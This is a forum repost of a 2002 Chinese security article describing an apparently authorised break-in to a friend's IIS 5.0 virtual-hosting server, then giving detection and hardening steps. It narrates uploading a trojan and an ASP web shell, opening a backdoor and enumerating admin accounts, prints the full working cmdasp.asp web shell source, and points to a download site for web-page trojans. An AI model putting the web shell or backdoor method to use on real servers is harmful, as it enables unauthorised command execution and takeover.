xhacker

级别:高级站友 威望:0 经验:0 货币:331 体力: 来源:贵州 总发帖数:145 注册日期:2002-02-21 |
|
查看 邮件 主页 QQ 消息 引用 复制 下载
时间关系,今天先贴以前一旧文。这篇文章只是给网管提个醒,注意自己的虚拟空间权限,有许多网管只是打上补丁就以为安全了,其实错了。这并不是什么入侵教程。
申明:本文已发表在《黑客防线》第7期《案例分析》高手版,欢迎非商业性转载!
详述虚拟网站的权限突破及防范(作者:xhacker)
一.事情的经过
就今天我还在网上忙着找些CIW安全培训教材的时候,我的一个网友突然传给我一个网http://x.x.x.x.(被我马赛克了),告诉我他现在当上了网管,网站服务内容是为企业,为个人提供收费型的虚拟空间服务,他叫我帮他检测检测他网站的安全性。我一看是一家很不错的服务空间提供网站,就满口答应了他。我想他本来就当过某黑客站点的站长,系统安全方面应该没什么大问题。
我首先进行了一些扫描port的活动,既然是朋友,又被授了合法检测权,就用不着使用SYN刺探方式,而且SYN准确性不太高。我运行了我第二个最喜欢的扫描器superscan(经过我重新配置,加入不少重要的服务port),然后扫描了一下,结果(如图1):
共开了10个端口,重要的有80,110,135,139,3389等等几个,可利用的服务不算多。从扫描的80信息显示是iis5.0,还开了一个win2k专有的远程桌面管理(port:3389),再加上端口的开放情况,现在能确定对方的系统一定是一台win2k+iis5.0,这是我比较熟悉的系统之一。
现在看来他没有对端口进行过滤,这是一个入侵者喜欢的开端。先从最基本的开始,看看能不能顺利与服务器建立空连接:
E:\>net use \\x.x.x.x\ipc$ "" /user:""
系统发生 53
错误。
找不到网络路径。
空链接漏洞被补上了,看来利用空链接枚举账号清单并尝试破解的想法要落空了,早就知道没这么容易。
下面再进行iis5.0的刺探吧,这个服务最复杂也最重要,所以winnt/2k的黑客很多研究都是基于这个服务的。先试试有没有idq溢出漏洞,选了好几种idq溢出点都没成功,看来网管要么删了idq映射要么给服务器打了sp3补丁,如果是打了这个补丁那么iis就不会有什么漏洞了。另一个对sp2补丁可能有效的asp溢出也试了,也没用,其它的如printer溢出就不用试了,因为那个溢出只应用到sp1。
下面进行iis扫描,我用的是xfocus安全小组开发的x-scan1.3扫描器,实践证明这个扫描器的漏洞资料库比较全面,它能扫出流光4.7扫不出的很多重要的cgi和iis等漏洞(包括打上sp2补丁包并没进行严格配置的win2k)。我把x-scan对win2k的扫描项都选上了,等了几分钟扫描终于完毕,生成检测报告,报告结果挺让我失望,没有一点问题,结合上面的扫描情况,我估计他很有可能给iis5.0打上了sp3补丁,我可不知道有什么漏洞可以突破打上最新补丁包的iis5.0,至少还没听说过打上sp3的iis5.0还有什么致命的漏洞。现在的分析结果是win2k+iis5.0+sp3。
其它方面就不太可能有漏洞了,比如登录上3389服务,看看有没有什么非系统自带的输入法,因为有些类型的输入法还是有帮助文件和URL的,比如有个旧版本的紫光输入法。
主页也没有什么漏洞。这时我朋友看我没有办法检测出漏洞入侵,非常得意,为自己的安全配置感到很放心。当从他口中得知的确是打上了win2k的最新补丁包sp3,我也放弃了继续分析下去,认为不会有什么明显漏洞了,也没有其它可利用的服务。接着他给了我开一个虚拟网站的账号,**提供给我一个200Mb的服务空间,并且告诉我这个空间可以支持asp、php,并开放了所有权限给我(也就是说有脚本执行权)。哈,这回他得意忘形了吧。我照这个配置条件就可以拿到admin权限了。
我先用ftp
命令登录进去,的确是200Mb,完全**,又开放所有脚本和权限,真爽。为了能更直观地表现过程,我下面全部使用CuteFTP图形界面软件操作,下面是我上传文件的情况(见图2):
我总共计划上传两个文件,一个是win.exe,一个是temp.asp。win.exe是我精心配置的一个大小仅有几kb的木马,功能不但强大,最大的好处是目前还不被含最新病毒库的金山毒霸查杀。还有一个就是大家熟知的asp木马cmdasp.asp(我把它改名为temp.asp,这样防止过快被网管注意)。Temp.asp它不光是个特殊木马,有些时候也只能利用它才能拿到admin。
两个文件很快就上传完毕了。我们现在可以用刚上传上去的asp木马查看一下服务器的详细情况了,见图3:
顺便查查我的xhacker空间目录在什么位置,用这条命令dir/s d:\xhacker
很快得出结果:
驱动器 D 中的卷没有标签。 卷的序列号是 F00B-626E
d:\web2\xhacker 的目录 2002-06-02 19:57 6,976 win.exe 1 个文件
6,976 字节 列出所有文件: 1 个文件 6,976 字节 0 个目录 24,849,289,216
可用字节
现在知道我主页空间在服务器的绝对路径了,看到win.exe了没?这就是我刚刚传上去的木马。现在把win.exe的路径记下来,下面要用到。
再顺便看看账号情况: D:\>net user \\ 的用户帐户
-------------------------------------------------------------------------------
Guest IUSR_INTERL-4VYGJ3RM IWAM_INTERL-4VYGJ3RM secretboy
TsInternetUser 命令运行完毕,但发生一个或多个错误。
根据经验看来账号权限被他们重新配置过,不然不会出现错误。这将意味着我不能在服务器本地用net命令创建账号了。看的出这方面还是下了功夫了,连administrator默认账号都改了名了。看来我没有先尝试破解是对的,破解的成功率实在太小了。
光使用temp.asp当后门可不够保险,我决定另外开个后门。接下来我删除了temp.asp,准备运行另一个win.exe木马。怎么运行它呢,了解unicode的人都知道,有了木马在服务器的绝对路径,并且木马所在的目录有脚本可执行权限,我们就能运行它了(abc.exe是我临时copy的一个cmd.exe)。见图4
看到IE状态栏的进度条了吗?表示我们在服务器端运行了程序,速度会显的很慢,其实没必要等到进度条走完。了解web服务器程序设计原理的话,就知道我们即使按停止也没关系,因为这已经在服务器上执行了运行程序的命令。现在就可以用刚开的后门进去了。回到cmd窗口,执行命令:
telnet x.x.x.x 木马所开端口
,哈!成功进去了。现在我可以执行任何命令了,包括重启,关闭服务器,查看、上传、下载,删除等任意文件。见图5:
的确安装了php,perl等。
再在看看服务器一些情况:
D:\>net user secretboy
用户名 secretboy
全名
注释 管理计算机(域)的内置帐户
用户的注释
国家(地区)代码 000 (系统默认值)
帐户启用 Yes
帐户到期 永不
上次设置密码 2002/6/2 上午
11:49
密码到期 永不
密码可更改 2002/6/2 上午 11:49
需要密码
Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 2002/6/2 下午 08:16
可允许的登录小时数 All
本地组会员 *Administrators
全局组成员 *None
命令成功完成。
看来administrator账号改为secretboy了。呵呵,我们可以把sam抓下来在本地机破解(我发在repair有备份),不过我觉得我朋友的密码肯定很复杂,这样可以考虑放个捕捉密码的木马上去。但是没有这个必要去做,既然是我朋友,怎么能这么做呢?
我玩了一会,就通知了他。告诉他服务器上的所有虚拟网站用户清单,而且我在他服务器上开了个后门,其端口是多少,怎么清除。他吓了一跳,赶快检查了一下,清了我的木马。然后他问了我是怎么入侵的,我告诉他是利用了虚拟空间的asp执行权限。呵呵,其实他不知道这个漏洞的原理是什么,也就不知道怎么防范它,这样我下次依然可以再进去,而且我如果记没错的话,不但是asp有此问题,php和perl语言都有相应的主页木马,在网上可以找到它们的木马程序。这里给出一份详细的主页木马下载网址:xhacker.xilubbs.com,共有5种类型的主页木马。
二.漏洞的检测
假设网管自己的iis5.0服务器里面开一个叫xhacker虚拟目录用来存放网页,支持asp。然后在xhacker虚拟空间放置我们刚才用的cmdasp.asp,cmdasp.asp在很多黑客网站都有的下载,在这公布一个cmd.asp网页代码:
<%@ Language=VBs cript %>
<%
Dim os cript
Dim os criptNet
Dim
oFileSys, oFile
Dim szCMD, szTempFile
On Error
Resume Next
' -- create the COM objects that we will be
using -- '
Set os cript = Server.CreateObject("Ws
cript.SHELL")
Set os criptNet = Server.CreateObject("Ws
cript.NETWORK")
Set oFileSys = Server.CreateObject("s
cripting.FileSystemObject")
' -- check for a command
that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
' -- Use a poor
man's pipe ... a temp file -- '
szTempFile = "C:\" &
oFileSys.GetTempName( )
Call os cript.Run ("cmd.exe /c "
& szCMD & " > " & szTempFile, 0, True)
Set
oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%=
Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD
%>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
' -- Read the output from
our command and remove the temp file -- '
On Error Resume
Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile,
True)
End If
%>
</BODY>
</HTML>
这样在IE运行这个asp就可以操作服务器了。先dir
c:\看看,如果看见了就说明有此漏洞,反之则没有。
三.漏洞的防范
现在我们来讨论一下怎么帮助网管防范这种漏洞。我分为两种情况分别讨论两种防范策略:
( 1 )
我之所以能够跨越虚拟目录权限是因为上传上去的asp调用了FileSystemObject对象,从而实现了所有的命令操作。所以,如果你确定你的网站不需要支持asp,就干脆删除asp。方法如下:
执行“internet服务管理员”———>web站点单击鼠标右键———>
“属性”
———>主目录———>配置———>把所有“asp.dll”文件存在的字段都删除,默认共有四个。这样你的iis就不能执行asp了,也就与asp服务漏洞绝缘了。
( 2
)以上的防范方法虽然又简单又安全,但对asp服务空间的提供商和asp的主页就很不合适了。我想了许多办法也参考了不少网上的资料,其中也有不少好的解决方案,但就是太复杂了。后来我发现有一种简单方法能非常好的解决这个问题:
我们只要禁止住别人调用FileSystemObject对象就可以了,对asp空间的用户来讲,也没有必要需要用到这个对象。我由此想到了注册表,是不是这个FileSystemObject对象就在注册表里?接着查找到了“HKET_CLASSES_ROOT\s
cripting.FileSystemObject”键值,更改成为你定义的字符串,比如:
HKET_CLASSES_ROOT\s cripting.FileSystemObject520
这样不需要删除FileSystemObject对象又不影响asp程序的运行,而用户如果再运行那个cmd.asp木马的话,就会因为调用不到s
cripting.FileSystemObject组件而无法执行命令了,同时也没有什么出错信息。但是对于有经验的入侵者就会知道这方面被网管做了防护了。
如果网管需要那个cmd.asp用来远程管理自己的站点怎么办?很简单,只要把asp代码中的
Set
oFileSys = Server.CreateObject("s cripting.FileSystemObject")
更改为:
Set oFileSys = Server.CreateObject("s
cripting.FileSystemObject520")
就可以调用了。
这样就只有网管才知道正确的s
cripting.FileSystemObject520。同时我建议你也不要把这个对象的名字改的太简单,比如s
cripting.FileSystemObject111什么的,
建议在原对象名字后面加一些无规律的字母,这样对方就猜不到了。你自己也别担心忘了这个对象的名字,因为在注册表里可以就可以看到它:)
关asp的漏洞利用就讲到这了,我相信以上这个入侵实例告诉了各位网管,也许你是下了功夫补住了许多流行的漏洞,黑客在一段时间内也没办法入侵你的服务器,但是你以后所开的服务可能潜伏着危险,有时甚至你自己在无意间也会造成新的漏洞。系统安全是不断变化着的,所以网管也要时刻注意,多注意漏洞的发布,多关注一些著名的网络安全网站。这样能在第一时间给自己的服务器打上补丁。我想我的技术还远远没到家,欢迎大家来信与我一起交流技术263admin@sina.com
版权属于xhacker所有!
图文版请看http://lncz.net/xhacker/www |